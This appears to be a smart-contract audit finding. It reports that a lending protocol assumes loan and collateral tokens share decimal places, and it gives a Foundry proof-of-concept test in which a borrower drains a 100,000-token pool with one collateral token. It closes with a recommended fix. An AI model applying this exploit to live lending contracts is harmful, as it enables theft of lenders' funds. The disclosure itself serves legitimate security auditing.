Protocol assumes that loanToken and collateralToken have the same decimal places when calculating Loan Ratio. If the decimals are different, loanToken being lesser decimals than collateralToken, borrowers can manipulate the loan ratio and withdraw the whole pool, effectively stealing the lender's funds.
When borrowing from a pool, the loan ratio is calculated to make sure that the borrower isn't borrowing too much.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
1. Step 1: Imagine that TERC20 is the loanToken with 6 decimals, and AERC20 is the collateralToken with 18 decimals.
2. Step 2: A lender sets up a pool with 100,000 TERC20 tokens
3. Step 3: A borrower is able to borrower the 100,000 TERC20 tokens with just 1 AERC20 token, and emptying the pool.
*/
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract AERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "AERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
AERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new AERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 6);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function test_borrow_differentDecimals() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 6,
poolBalance: 100000 * 10 ** 6,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
console.log("Loan Token in Pool:", poolBalance/1e6);
assertEq(poolBalance, 100000 * 10 ** 6);
console.log(
"Initial Loan Token for Borrower:",
loanToken.balanceOf(address(borrower))/1e6
);
console.log(
"Initial Collateral Token for Borrower:",
collateralToken.balanceOf(address(borrower))/1e18
);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100000 * 10 ** 6,
collateral: 1 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
console.log(
"Final Loan Token for Borrower:",
loanToken.balanceOf(address(borrower))/1e6
);
console.log(
"Final Collateral Token for Borrower:",
collateralToken.balanceOf(address(borrower))/1e18
);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
console.log("Final Loan Token in Pool:", poolBalance/1e18);
}
}
The whole Lender's pool can be drained using a small amount of collateral.
Recommend making sure that the decimals of the loanToken and collateralToken is the same before creating any borrows.